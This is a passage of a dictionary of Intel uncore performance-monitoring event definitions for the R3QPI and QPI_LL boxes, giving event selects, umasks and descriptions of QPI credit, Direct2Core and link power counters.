"Defn": "Number of times a request failed to acquire a VN1 credit. In order for a request to be transferred across QPI, it must be guaranteed to have a flit buffer on the remote socket to sink into. There are two credit pools, VNA and VN1. VNA is a shared pool used to achieve high performance. The VN1 pool has reserved entries for each message class and is used to prevent deadlock. Requests first attempt to acquire a VNA credit, and then fall back to VN1 if they fail. This therefore counts the number of times when a request failed to acquire either a VNA or VN1 credit and is delayed. This should generally be a rare situation.",
"Desc": "VN1 Credit Acquisition Failed on DRS",
"EvSel": 57,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"R3QPI.VN1_CREDITS_REJECT.NCS": {
"Box": "R3QPI",
"Category": "R3QPI LINK_VN1_CREDITS Events",
"Counters": "0-1",
"Defn": "Number of times a request failed to acquire a VN1 credit. In order for a request to be transferred across QPI, it must be guaranteed to have a flit buffer on the remote socket to sink into. There are two credit pools, VNA and VN1. VNA is a shared pool used to achieve high performance. The VN1 pool has reserved entries for each message class and is used to prevent deadlock. Requests first attempt to acquire a VNA credit, and then fall back to VN1 if they fail. This therefore counts the number of times when a request failed to acquire either a VNA or VN1 credit and is delayed. This should generally be a rare situation.",
"Desc": "VN1 Credit Acquisition Failed on DRS",
"EvSel": 57,
"ExtSel": "",
"Umask": "bxx1xxxxx",
},
"R3QPI.VN1_CREDITS_REJECT.SNP": {
"Box": "R3QPI",
"Category": "R3QPI LINK_VN1_CREDITS Events",
"Counters": "0-1",
"Defn": "Number of times a request failed to acquire a VN1 credit. In order for a request to be transferred across QPI, it must be guaranteed to have a flit buffer on the remote socket to sink into. There are two credit pools, VNA and VN1. VNA is a shared pool used to achieve high performance. The VN1 pool has reserved entries for each message class and is used to prevent deadlock. Requests first attempt to acquire a VNA credit, and then fall back to VN1 if they fail. This therefore counts the number of times when a request failed to acquire either a VNA or VN1 credit and is delayed. This should generally be a rare situation.",
"Desc": "VN1 Credit Acquisition Failed on DRS",
"EvSel": 57,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"R3QPI.VN1_CREDITS_REJECT.DRS": {
"Box": "R3QPI",
"Category": "R3QPI LINK_VN1_CREDITS Events",
"Counters": "0-1",
"Defn": "Number of times a request failed to acquire a VN1 credit. In order for a request to be transferred across QPI, it must be guaranteed to have a flit buffer on the remote socket to sink into. There are two credit pools, VNA and VN1. VNA is a shared pool used to achieve high performance. The VN1 pool has reserved entries for each message class and is used to prevent deadlock. Requests first attempt to acquire a VNA credit, and then fall back to VN1 if they fail. This therefore counts the number of times when a request failed to acquire either a VNA or VN1 credit and is delayed. This should generally be a rare situation.",
"Desc": "VN1 Credit Acquisition Failed on DRS",
"EvSel": 57,
"ExtSel": "",
"Umask": "bxxxx1xxx",
},
"R3QPI.VN1_CREDITS_REJECT.NCB": {
"Box": "R3QPI",
"Category": "R3QPI LINK_VN1_CREDITS Events",
"Counters": "0-1",
"Defn": "Number of times a request failed to acquire a VN1 credit. In order for a request to be transferred across QPI, it must be guaranteed to have a flit buffer on the remote socket to sink into. There are two credit pools, VNA and VN1. VNA is a shared pool used to achieve high performance. The VN1 pool has reserved entries for each message class and is used to prevent deadlock. Requests first attempt to acquire a VNA credit, and then fall back to VN1 if they fail. This therefore counts the number of times when a request failed to acquire either a VNA or VN1 credit and is delayed. This should generally be a rare situation.",
"Desc": "VN1 Credit Acquisition Failed on DRS",
"EvSel": 57,
"ExtSel": "",
"Umask": "bxxx1xxxx",
},
"R3QPI.VN1_CREDITS_USED": {
"Box": "R3QPI",
"Category": "R3QPI LINK_VN1_CREDITS Events",
"Counters": "0-1",
"Defn": "Number of times a VN1 credit was used on the DRS message channel. In order for a request to be transferred across QPI, it must be guaranteed to have a flit buffer on the remote socket to sink into. There are two credit pools, VNA and VN1. VNA is a shared pool used to achieve high performance. The VN1 pool has reserved entries for each message class and is used to prevent deadlock. Requests first attempt to acquire a VNA credit, and then fall back to VN1 if they fail. This counts the number of times a VN1 credit was used. Note that a single VN1 credit holds access to potentially multiple flit buffers. For example, a transfer that uses VNA could use 9 flit buffers and in that case uses 9 credits. A transfer on VN1 will only count a single credit even though it may use multiple buffers.",
"Desc": "VN1 Credit Used",
"EvSel": 56,
"ExtSel": "",
},
"R3QPI.VN1_CREDITS_USED.NCS": {
"Box": "R3QPI",
"Category": "R3QPI LINK_VN1_CREDITS Events",
"Counters": "0-1",
"Defn": "Number of times a VN1 credit was used on the DRS message channel. In order for a request to be transferred across QPI, it must be guaranteed to have a flit buffer on the remote socket to sink into. There are two credit pools, VNA and VN1. VNA is a shared pool used to achieve high performance. The VN1 pool has reserved entries for each message class and is used to prevent deadlock. Requests first attempt to acquire a VNA credit, and then fall back to VN1 if they fail. This counts the number of times a VN1 credit was used. Note that a single VN1 credit holds access to potentially multiple flit buffers. For example, a transfer that uses VNA could use 9 flit buffers and in that case uses 9 credits. A transfer on VN1 will only count a single credit even though it may use multiple buffers.",
"Desc": "VN1 Credit Used",
"EvSel": 56,
"ExtSel": "",
"Umask": "bxx1xxxxx",
},
"R3QPI.VN1_CREDITS_USED.HOM": {
"Box": "R3QPI",
"Category": "R3QPI LINK_VN1_CREDITS Events",
"Counters": "0-1",
"Defn": "Number of times a VN1 credit was used on the DRS message channel. In order for a request to be transferred across QPI, it must be guaranteed to have a flit buffer on the remote socket to sink into. There are two credit pools, VNA and VN1. VNA is a shared pool used to achieve high performance. The VN1 pool has reserved entries for each message class and is used to prevent deadlock. Requests first attempt to acquire a VNA credit, and then fall back to VN1 if they fail. This counts the number of times a VN1 credit was used. Note that a single VN1 credit holds access to potentially multiple flit buffers. For example, a transfer that uses VNA could use 9 flit buffers and in that case uses 9 credits. A transfer on VN1 will only count a single credit even though it may use multiple buffers.",
"Desc": "VN1 Credit Used",
"EvSel": 56,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"R3QPI.VN1_CREDITS_USED.NDR": {
"Box": "R3QPI",
"Category": "R3QPI LINK_VN1_CREDITS Events",
"Counters": "0-1",
"Defn": "Number of times a VN1 credit was used on the DRS message channel. In order for a request to be transferred across QPI, it must be guaranteed to have a flit buffer on the remote socket to sink into. There are two credit pools, VNA and VN1. VNA is a shared pool used to achieve high performance. The VN1 pool has reserved entries for each message class and is used to prevent deadlock. Requests first attempt to acquire a VNA credit, and then fall back to VN1 if they fail. This counts the number of times a VN1 credit was used. Note that a single VN1 credit holds access to potentially multiple flit buffers. For example, a transfer that uses VNA could use 9 flit buffers and in that case uses 9 credits. A transfer on VN1 will only count a single credit even though it may use multiple buffers.",
"Desc": "VN1 Credit Used",
"EvSel": 56,
"ExtSel": "",
"Umask": "bxxxxx1xx",
},
"R3QPI.VN1_CREDITS_USED.NCB": {
"Box": "R3QPI",
"Category": "R3QPI LINK_VN1_CREDITS Events",
"Counters": "0-1",
"Defn": "Number of times a VN1 credit was used on the DRS message channel. In order for a request to be transferred across QPI, it must be guaranteed to have a flit buffer on the remote socket to sink into. There are two credit pools, VNA and VN1. VNA is a shared pool used to achieve high performance. The VN1 pool has reserved entries for each message class and is used to prevent deadlock. Requests first attempt to acquire a VNA credit, and then fall back to VN1 if they fail. This counts the number of times a VN1 credit was used. Note that a single VN1 credit holds access to potentially multiple flit buffers. For example, a transfer that uses VNA could use 9 flit buffers and in that case uses 9 credits. A transfer on VN1 will only count a single credit even though it may use multiple buffers.",
"Desc": "VN1 Credit Used",
"EvSel": 56,
"ExtSel": "",
"Umask": "bxxx1xxxx",
},
"R3QPI.VN1_CREDITS_USED.DRS": {
"Box": "R3QPI",
"Category": "R3QPI LINK_VN1_CREDITS Events",
"Counters": "0-1",
"Defn": "Number of times a VN1 credit was used on the DRS message channel. In order for a request to be transferred across QPI, it must be guaranteed to have a flit buffer on the remote socket to sink into. There are two credit pools, VNA and VN1. VNA is a shared pool used to achieve high performance. The VN1 pool has reserved entries for each message class and is used to prevent deadlock. Requests first attempt to acquire a VNA credit, and then fall back to VN1 if they fail. This counts the number of times a VN1 credit was used. Note that a single VN1 credit holds access to potentially multiple flit buffers. For example, a transfer that uses VNA could use 9 flit buffers and in that case uses 9 credits. A transfer on VN1 will only count a single credit even though it may use multiple buffers.",
"Desc": "VN1 Credit Used",
"EvSel": 56,
"ExtSel": "",
"Umask": "bxxxx1xxx",
},
"R3QPI.VN1_CREDITS_USED.SNP": {
"Box": "R3QPI",
"Category": "R3QPI LINK_VN1_CREDITS Events",
"Counters": "0-1",
"Defn": "Number of times a VN1 credit was used on the DRS message channel. In order for a request to be transferred across QPI, it must be guaranteed to have a flit buffer on the remote socket to sink into. There are two credit pools, VNA and VN1. VNA is a shared pool used to achieve high performance. The VN1 pool has reserved entries for each message class and is used to prevent deadlock. Requests first attempt to acquire a VNA credit, and then fall back to VN1 if they fail. This counts the number of times a VN1 credit was used. Note that a single VN1 credit holds access to potentially multiple flit buffers. For example, a transfer that uses VNA could use 9 flit buffers and in that case uses 9 credits. A transfer on VN1 will only count a single credit even though it may use multiple buffers.",
"Desc": "VN1 Credit Used",
"EvSel": 56,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"R3QPI.VNA_CREDITS_ACQUIRED": {
"Box": "R3QPI",
"Category": "R3QPI LINK_VNA_CREDITS Events",
"Counters": "0-1",
"Defn": "Number of QPI VNA Credit acquisitions. This event can be used in conjunction with the VNA In-Use Accumulator to calculate the average lifetime of a credit holder. VNA credits are used by all message classes in order to communicate across QPI. If a packet is unable to acquire credits, it will then attempt to use credts from the VN0 pool. Note that a single packet may require multiple flit buffers (i.e. when data is being transfered). Therefore, this event will increment by the number of credits acquired in each cycle. Filtering based on message class is not provided. One can count the number of packets transfered in a given message class using an qfclk event.",
"Desc": "VNA credit Acquisitions",
"EvSel": 51,
"ExtSel": "",
"MaxIncCyc": 4,
},
"R3QPI.VNA_CREDITS_ACQUIRED.BL": {
"Box": "R3QPI",
"Category": "R3QPI LINK_VNA_CREDITS Events",
"Counters": "0-1",
"Defn": "Number of QPI VNA Credit acquisitions. This event can be used in conjunction with the VNA In-Use Accumulator to calculate the average lifetime of a credit holder. VNA credits are used by all message classes in order to communicate across QPI. If a packet is unable to acquire credits, it will then attempt to use credts from the VN0 pool. Note that a single packet may require multiple flit buffers (i.e. when data is being transfered). Therefore, this event will increment by the number of credits acquired in each cycle. Filtering based on message class is not provided. One can count the number of packets transfered in a given message class using an qfclk event.",
"Desc": "VNA credit Acquisitions",
"EvSel": 51,
"ExtSel": "",
"MaxIncCyc": 4,
"Umask": "bxxxxx1xx",
},
"R3QPI.VNA_CREDITS_ACQUIRED.AD": {
"Box": "R3QPI",
"Category": "R3QPI LINK_VNA_CREDITS Events",
"Counters": "0-1",
"Defn": "Number of QPI VNA Credit acquisitions. This event can be used in conjunction with the VNA In-Use Accumulator to calculate the average lifetime of a credit holder. VNA credits are used by all message classes in order to communicate across QPI. If a packet is unable to acquire credits, it will then attempt to use credts from the VN0 pool. Note that a single packet may require multiple flit buffers (i.e. when data is being transfered). Therefore, this event will increment by the number of credits acquired in each cycle. Filtering based on message class is not provided. One can count the number of packets transfered in a given message class using an qfclk event.",
"Desc": "VNA credit Acquisitions",
"EvSel": 51,
"ExtSel": "",
"MaxIncCyc": 4,
"Umask": "bxxxxxxx1",
},
"R3QPI.VNA_CREDITS_REJECT": {
"Box": "R3QPI",
"Category": "R3QPI LINK_VNA_CREDITS Events",
"Counters": "0-1",
"Defn": "Number of attempted VNA credit acquisitions that were rejected because the VNA credit pool was full (or almost full). It is possible to filter this event by message class. Some packets use more than one flit buffer, and therefore must acquire multiple credits. Therefore, one could get a reject even if the VNA credits were not fully used up. The VNA pool is generally used to provide the bulk of the QPI bandwidth (as opposed to the VN0 pool which is used to guarantee forward progress). VNA credits can run out if the flit buffer on the receiving side starts to queue up substantially. This can happen if the rest of the uncore is unable to drain the requests fast enough.",
"Desc": "VNA Credit Reject",
"EvSel": 52,
"ExtSel": "",
},
"R3QPI.VNA_CREDITS_REJECT.SNP": {
"Box": "R3QPI",
"Category": "R3QPI LINK_VNA_CREDITS Events",
"Counters": "0-1",
"Defn": "Number of attempted VNA credit acquisitions that were rejected because the VNA credit pool was full (or almost full). It is possible to filter this event by message class. Some packets use more than one flit buffer, and therefore must acquire multiple credits. Therefore, one could get a reject even if the VNA credits were not fully used up. The VNA pool is generally used to provide the bulk of the QPI bandwidth (as opposed to the VN0 pool which is used to guarantee forward progress). VNA credits can run out if the flit buffer on the receiving side starts to queue up substantially. This can happen if the rest of the uncore is unable to drain the requests fast enough.",
"Desc": "VNA Credit Reject",
"EvSel": 52,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"R3QPI.VNA_CREDITS_REJECT.DRS": {
"Box": "R3QPI",
"Category": "R3QPI LINK_VNA_CREDITS Events",
"Counters": "0-1",
"Defn": "Number of attempted VNA credit acquisitions that were rejected because the VNA credit pool was full (or almost full). It is possible to filter this event by message class. Some packets use more than one flit buffer, and therefore must acquire multiple credits. Therefore, one could get a reject even if the VNA credits were not fully used up. The VNA pool is generally used to provide the bulk of the QPI bandwidth (as opposed to the VN0 pool which is used to guarantee forward progress). VNA credits can run out if the flit buffer on the receiving side starts to queue up substantially. This can happen if the rest of the uncore is unable to drain the requests fast enough.",
"Desc": "VNA Credit Reject",
"EvSel": 52,
"ExtSel": "",
"Umask": "bxxxx1xxx",
},
"R3QPI.VNA_CREDITS_REJECT.NCB": {
"Box": "R3QPI",
"Category": "R3QPI LINK_VNA_CREDITS Events",
"Counters": "0-1",
"Defn": "Number of attempted VNA credit acquisitions that were rejected because the VNA credit pool was full (or almost full). It is possible to filter this event by message class. Some packets use more than one flit buffer, and therefore must acquire multiple credits. Therefore, one could get a reject even if the VNA credits were not fully used up. The VNA pool is generally used to provide the bulk of the QPI bandwidth (as opposed to the VN0 pool which is used to guarantee forward progress). VNA credits can run out if the flit buffer on the receiving side starts to queue up substantially. This can happen if the rest of the uncore is unable to drain the requests fast enough.",
"Desc": "VNA Credit Reject",
"EvSel": 52,
"ExtSel": "",
"Umask": "bxxx1xxxx",
},
"R3QPI.VNA_CREDITS_REJECT.NDR": {
"Box": "R3QPI",
"Category": "R3QPI LINK_VNA_CREDITS Events",
"Counters": "0-1",
"Defn": "Number of attempted VNA credit acquisitions that were rejected because the VNA credit pool was full (or almost full). It is possible to filter this event by message class. Some packets use more than one flit buffer, and therefore must acquire multiple credits. Therefore, one could get a reject even if the VNA credits were not fully used up. The VNA pool is generally used to provide the bulk of the QPI bandwidth (as opposed to the VN0 pool which is used to guarantee forward progress). VNA credits can run out if the flit buffer on the receiving side starts to queue up substantially. This can happen if the rest of the uncore is unable to drain the requests fast enough.",
"Desc": "VNA Credit Reject",
"EvSel": 52,
"ExtSel": "",
"Umask": "bxxxxx1xx",
},
"R3QPI.VNA_CREDITS_REJECT.HOM": {
"Box": "R3QPI",
"Category": "R3QPI LINK_VNA_CREDITS Events",
"Counters": "0-1",
"Defn": "Number of attempted VNA credit acquisitions that were rejected because the VNA credit pool was full (or almost full). It is possible to filter this event by message class. Some packets use more than one flit buffer, and therefore must acquire multiple credits. Therefore, one could get a reject even if the VNA credits were not fully used up. The VNA pool is generally used to provide the bulk of the QPI bandwidth (as opposed to the VN0 pool which is used to guarantee forward progress). VNA credits can run out if the flit buffer on the receiving side starts to queue up substantially. This can happen if the rest of the uncore is unable to drain the requests fast enough.",
"Desc": "VNA Credit Reject",
"EvSel": 52,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"R3QPI.VNA_CREDITS_REJECT.NCS": {
"Box": "R3QPI",
"Category": "R3QPI LINK_VNA_CREDITS Events",
"Counters": "0-1",
"Defn": "Number of attempted VNA credit acquisitions that were rejected because the VNA credit pool was full (or almost full). It is possible to filter this event by message class. Some packets use more than one flit buffer, and therefore must acquire multiple credits. Therefore, one could get a reject even if the VNA credits were not fully used up. The VNA pool is generally used to provide the bulk of the QPI bandwidth (as opposed to the VN0 pool which is used to guarantee forward progress). VNA credits can run out if the flit buffer on the receiving side starts to queue up substantially. This can happen if the rest of the uncore is unable to drain the requests fast enough.",
"Desc": "VNA Credit Reject",
"EvSel": 52,
"ExtSel": "",
"Umask": "bxx1xxxxx",
},
# QPI_LL:
"QPI_LL.CLOCKTICKS": {
"Box": "QPI_LL",
"Category": "QPI_LL CFCLK Events",
"Counters": "0-3",
"Defn": "Counts the number of clocks in the QPI LL. This clock runs at 1/4th the \"GT/s\" speed of the QPI link. For example, a 4GT/s link will have qfclk or 1GHz. HSX does not support dynamic link speeds, so this frequency is fixed.",
"Desc": "Number of qfclks",
"EvSel": 20,
"ExtSel": "",
},
"QPI_LL.CTO_COUNT": {
"Box": "QPI_LL",
"Category": "QPI_LL CTO Events",
"Counters": "0-3",
"Defn": "Counts the number of CTO (cluster trigger outs) events that were asserted across the two slots. If both slots trigger in a given cycle, the event will increment by 2. You can use edge detect to count the number of cases when both events triggered.",
"Desc": "Count of CTO Events",
"EvSel": 56,
"Filter": "QPIMask0[17:0],QPIMatch0[17:0],QPIMask1[19:16],QPIMatch1[19:16]",
"ExtSel": "",
"MaxIncCyc": 2,
"SubCtr": 1,
},
"QPI_LL.DIRECT2CORE": {
"Box": "QPI_LL",
"Category": "QPI_LL DIRECT2CORE Events",
"Counters": "0-3",
"Defn": "Counts the number of DRS packets that we attempted to do direct2core on. There are 4 mutually exlusive filters. Filter [0] can be used to get successful spawns, while [1:3] provide the different failure cases. Note that this does not count packets that are not candidates for Direct2Core. The only candidates for Direct2Core are DRS packets destined for Cbos.",
"Desc": "Direct 2 Core Spawning",
"EvSel": 19,
"ExtSel": "",
},
"QPI_LL.DIRECT2CORE.FAILURE_CREDITS_RBT": {
"Box": "QPI_LL",
"Category": "QPI_LL DIRECT2CORE Events",
"Counters": "0-3",
"Defn": "Counts the number of DRS packets that we attempted to do direct2core on. There are 4 mutually exlusive filters. Filter [0] can be used to get successful spawns, while [1:3] provide the different failure cases. Note that this does not count packets that are not candidates for Direct2Core. The only candidates for Direct2Core are DRS packets destined for Cbos.",
"Desc": "Direct 2 Core Spawning",
"EvSel": 19,
"ExtSel": "",
"Umask": "bxxxx1xxx",
},
"QPI_LL.DIRECT2CORE.FAILURE_CREDITS_MISS": {
"Box": "QPI_LL",
"Category": "QPI_LL DIRECT2CORE Events",
"Counters": "0-3",
"Defn": "Counts the number of DRS packets that we attempted to do direct2core on. There are 4 mutually exlusive filters. Filter [0] can be used to get successful spawns, while [1:3] provide the different failure cases. Note that this does not count packets that are not candidates for Direct2Core. The only candidates for Direct2Core are DRS packets destined for Cbos.",
"Desc": "Direct 2 Core Spawning",
"EvSel": 19,
"ExtSel": "",
"Umask": "bxx1xxxxx",
},
"QPI_LL.DIRECT2CORE.FAILURE_RBT_MISS": {
"Box": "QPI_LL",
"Category": "QPI_LL DIRECT2CORE Events",
"Counters": "0-3",
"Defn": "Counts the number of DRS packets that we attempted to do direct2core on. There are 4 mutually exlusive filters. Filter [0] can be used to get successful spawns, while [1:3] provide the different failure cases. Note that this does not count packets that are not candidates for Direct2Core. The only candidates for Direct2Core are DRS packets destined for Cbos.",
"Desc": "Direct 2 Core Spawning",
"EvSel": 19,
"ExtSel": "",
"Umask": "bx1xxxxxx",
},
"QPI_LL.DIRECT2CORE.FAILURE_CREDITS_RBT_MISS": {
"Box": "QPI_LL",
"Category": "QPI_LL DIRECT2CORE Events",
"Counters": "0-3",
"Defn": "Counts the number of DRS packets that we attempted to do direct2core on. There are 4 mutually exlusive filters. Filter [0] can be used to get successful spawns, while [1:3] provide the different failure cases. Note that this does not count packets that are not candidates for Direct2Core. The only candidates for Direct2Core are DRS packets destined for Cbos.",
"Desc": "Direct 2 Core Spawning",
"EvSel": 19,
"ExtSel": "",
"Umask": "b1xxxxxxx",
},
"QPI_LL.DIRECT2CORE.FAILURE_CREDITS": {
"Box": "QPI_LL",
"Category": "QPI_LL DIRECT2CORE Events",
"Counters": "0-3",
"Defn": "Counts the number of DRS packets that we attempted to do direct2core on. There are 4 mutually exlusive filters. Filter [0] can be used to get successful spawns, while [1:3] provide the different failure cases. Note that this does not count packets that are not candidates for Direct2Core. The only candidates for Direct2Core are DRS packets destined for Cbos.",
"Desc": "Direct 2 Core Spawning",
"EvSel": 19,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"QPI_LL.DIRECT2CORE.FAILURE_MISS": {
"Box": "QPI_LL",
"Category": "QPI_LL DIRECT2CORE Events",
"Counters": "0-3",
"Defn": "Counts the number of DRS packets that we attempted to do direct2core on. There are 4 mutually exlusive filters. Filter [0] can be used to get successful spawns, while [1:3] provide the different failure cases. Note that this does not count packets that are not candidates for Direct2Core. The only candidates for Direct2Core are DRS packets destined for Cbos.",
"Desc": "Direct 2 Core Spawning",
"EvSel": 19,
"ExtSel": "",
"Umask": "bxxx1xxxx",
},
"QPI_LL.DIRECT2CORE.SUCCESS_RBT_HIT": {
"Box": "QPI_LL",
"Category": "QPI_LL DIRECT2CORE Events",
"Counters": "0-3",
"Defn": "Counts the number of DRS packets that we attempted to do direct2core on. There are 4 mutually exlusive filters. Filter [0] can be used to get successful spawns, while [1:3] provide the different failure cases. Note that this does not count packets that are not candidates for Direct2Core. The only candidates for Direct2Core are DRS packets destined for Cbos.",
"Desc": "Direct 2 Core Spawning",
"EvSel": 19,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"QPI_LL.DIRECT2CORE.FAILURE_RBT_HIT": {
"Box": "QPI_LL",
"Category": "QPI_LL DIRECT2CORE Events",
"Counters": "0-3",
"Defn": "Counts the number of DRS packets that we attempted to do direct2core on. There are 4 mutually exlusive filters. Filter [0] can be used to get successful spawns, while [1:3] provide the different failure cases. Note that this does not count packets that are not candidates for Direct2Core. The only candidates for Direct2Core are DRS packets destined for Cbos.",
"Desc": "Direct 2 Core Spawning",
"EvSel": 19,
"ExtSel": "",
"Umask": "bxxxxx1xx",
},
"QPI_LL.L1_POWER_CYCLES": {
"Box": "QPI_LL",
"Category": "QPI_LL POWER Events",
"Counters": "0-3",
"Defn": "Number of QPI qfclk cycles spent in L1 power mode. L1 is a mode that totally shuts down a QPI link. Use edge detect to count the number of instances when the QPI link entered L1. Link power states are per link and per direction, so for example the Tx direction could be in one state while Rx was in another. Because L1 totally shuts down the link, it takes a good amount of time to exit this mode.",
"Desc": "Cycles in L1",
"EvSel": 18,
"ExtSel": "",
},
"QPI_LL.RxL0P_POWER_CYCLES": {
"Box": "QPI_LL",
"Category": "QPI_LL POWER_RX Events",
"Counters": "0-3",
"Defn": "Number of QPI qfclk cycles spent in L0p power mode. L0p is a mode where we disable 1/2 of the QPI lanes, decreasing our bandwidth in order to save power. It increases snoop and data transfer latencies and decreases overall bandwidth. This mode can be very useful in NUMA optimized workloads that largely only utilize QPI for snoops and their responses. Use edge detect to count the number of instances when the QPI link entered L0p. Link power states are per link and per direction, so for example the Tx direction could be in one state while Rx was in another.",
"Desc": "Cycles in L0p",
"EvSel": 16,
"ExtSel": "",
"Notes": "Using .edge_det to count transitions does not function if L1_POWER_CYCLES > 0.",
},
"QPI_LL.RxL0_POWER_CYCLES": {
"Box": "QPI_LL",
"Category": "QPI_LL POWER_RX Events",
"Counters": "0-3",
"Defn": "Number of QPI qfclk cycles spent in L0 power mode in the Link Layer. L0 is the default mode which provides the highest performance with the most power. Use edge detect to count the number of instances that the link entered L0. Link power states are per link and per direction, so for example the Tx direction could be in one state while Rx was in another. The phy layer sometimes leaves L0 for training, which will not be captured by this event.",
"Desc": "Cycles in L0",
"EvSel": 15,
"ExtSel": "",
"Notes": "Includes L0p cycles. To get just L0, subtract RxL0P_POWER_CYCLES",
},
"QPI_LL.RxL_BYPASSED": {
"Box": "QPI_LL",
"Category": "QPI_LL RXQ Events",
"Counters": "0-3",
"Defn": "Counts the number of times that an incoming flit was able to bypass the flit buffer and pass directly across the BGF and into the Egress. This is a latency optimization, and should generally be the common case. If this value is less than the number of flits transfered, it implies that there was queueing getting onto the ring, and thus the transactions saw higher latency.",
"Desc": "Rx Flit Buffer Bypassed",
"EvSel": 9,
"ExtSel": "",
},
"QPI_LL.RxL_CREDITS_CONSUMED_VN0": {
"Box": "QPI_LL",
"Category": "QPI_LL RX_CREDITS_CONSUMED Events",
"Counters": "0-3",
"Defn": "Counts the number of times that an RxQ VN0 credit was consumed (i.e. message uses a VN0 credit for the Rx Buffer). This includes packets that went through the RxQ and those that were bypasssed.",
"Desc": "VN0 Credit Consumed",
"EvSel": 30,
"ExtSel": "",
"MaxIncCyc": 2,
},
"QPI_LL.RxL_CREDITS_CONSUMED_VN0.DRS": {
"Box": "QPI_LL",
"Category": "QPI_LL RX_CREDITS_CONSUMED Events",
"Counters": "0-3",
"Defn": "Counts the number of times that an RxQ VN0 credit was consumed (i.e. message uses a VN0 credit for the Rx Buffer). This includes packets that went through the RxQ and those that were bypasssed.",
"Desc": "VN0 Credit Consumed",
"EvSel": 30,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "bxxxxxxx1",
},
"QPI_LL.RxL_CREDITS_CONSUMED_VN0.NCB": {
"Box": "QPI_LL",
"Category": "QPI_LL RX_CREDITS_CONSUMED Events",
"Counters": "0-3",
"Defn": "Counts the number of times that an RxQ VN0 credit was consumed (i.e. message uses a VN0 credit for the Rx Buffer). This includes packets that went through the RxQ and those that were bypasssed.",
"Desc": "VN0 Credit Consumed",
"EvSel": 30,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "bxxxxxx1x",
},
"QPI_LL.RxL_CREDITS_CONSUMED_VN0.SNP": {
"Box": "QPI_LL",
"Category": "QPI_LL RX_CREDITS_CONSUMED Events",
"Counters": "0-3",
"Defn": "Counts the number of times that an RxQ VN0 credit was consumed (i.e. message uses a VN0 credit for the Rx Buffer). This includes packets that went through the RxQ and those that were bypasssed.",
"Desc": "VN0 Credit Consumed",
"EvSel": 30,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "bxxx1xxxx",
},
"QPI_LL.RxL_CREDITS_CONSUMED_VN0.HOM": {
"Box": "QPI_LL",
"Category": "QPI_LL RX_CREDITS_CONSUMED Events",
"Counters": "0-3",
"Defn": "Counts the number of times that an RxQ VN0 credit was consumed (i.e. message uses a VN0 credit for the Rx Buffer). This includes packets that went through the RxQ and those that were bypasssed.",
"Desc": "VN0 Credit Consumed",
"EvSel": 30,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "bxxxx1xxx",
},
"QPI_LL.RxL_CREDITS_CONSUMED_VN0.NCS": {
"Box": "QPI_LL",
"Category": "QPI_LL RX_CREDITS_CONSUMED Events",
"Counters": "0-3",
"Defn": "Counts the number of times that an RxQ VN0 credit was consumed (i.e. message uses a VN0 credit for the Rx Buffer). This includes packets that went through the RxQ and those that were bypasssed.",
"Desc": "VN0 Credit Consumed",
"EvSel": 30,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "bxxxxx1xx",
},
"QPI_LL.RxL_CREDITS_CONSUMED_VN0.NDR": {
"Box": "QPI_LL",
"Category": "QPI_LL RX_CREDITS_CONSUMED Events",
"Counters": "0-3",
"Defn": "Counts the number of times that an RxQ VN0 credit was consumed (i.e. message uses a VN0 credit for the Rx Buffer). This includes packets that went through the RxQ and those that were bypasssed.",
"Desc": "VN0 Credit Consumed",
"EvSel": 30,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "bxx1xxxxx",
},
"QPI_LL.RxL_CREDITS_CONSUMED_VN1": {
"Box": "QPI_LL",
"Category": "QPI_LL RX_CREDITS_CONSUMED Events",
"Counters": "0-3",
"Defn": "Counts the number of times that an RxQ VN1 credit was consumed (i.e. message uses a VN1 credit for the Rx Buffer). This includes packets that went through the RxQ and those that were bypasssed.",
"Desc": "VN1 Credit Consumed",
"EvSel": 57,
"ExtSel": "",
"MaxIncCyc": 2,
},
"QPI_LL.RxL_CREDITS_CONSUMED_VN1.HOM": {
"Box": "QPI_LL",
"Category": "QPI_LL RX_CREDITS_CONSUMED Events",
"Counters": "0-3",
"Defn": "Counts the number of times that an RxQ VN1 credit was consumed (i.e. message uses a VN1 credit for the Rx Buffer). This includes packets that went through the RxQ and those that were bypasssed.",
"Desc": "VN1 Credit Consumed",
"EvSel": 57,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "bxxxx1xxx",
},
"QPI_LL.RxL_CREDITS_CONSUMED_VN1.NCS": {
"Box": "QPI_LL",
"Category": "QPI_LL RX_CREDITS_CONSUMED Events",
"Counters": "0-3",
"Defn": "Counts the number of times that an RxQ VN1 credit was consumed (i.e. message uses a VN1 credit for the Rx Buffer). This includes packets that went through the RxQ and those that were bypasssed.",
"Desc": "VN1 Credit Consumed",
"EvSel": 57,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "bxxxxx1xx",
},
"QPI_LL.RxL_CREDITS_CONSUMED_VN1.NDR": {
"Box": "QPI_LL",
"Category": "QPI_LL RX_CREDITS_CONSUMED Events",
"Counters": "0-3",
"Defn": "Counts the number of times that an RxQ VN1 credit was consumed (i.e. message uses a VN1 credit for the Rx Buffer). This includes packets that went through the RxQ and those that were bypasssed.",
"Desc": "VN1 Credit Consumed",
"EvSel": 57,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "bxx1xxxxx",
},
"QPI_LL.RxL_CREDITS_CONSUMED_VN1.DRS": {
"Box": "QPI_LL",
"Category": "QPI_LL RX_CREDITS_CONSUMED Events",
"Counters": "0-3",
"Defn": "Counts the number of times that an RxQ VN1 credit was consumed (i.e. message uses a VN1 credit for the Rx Buffer). This includes packets that went through the RxQ and those that were bypasssed.",
"Desc": "VN1 Credit Consumed",
"EvSel": 57,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "bxxxxxxx1",
},
"QPI_LL.RxL_CREDITS_CONSUMED_VN1.NCB": {
"Box": "QPI_LL",
"Category": "QPI_LL RX_CREDITS_CONSUMED Events",
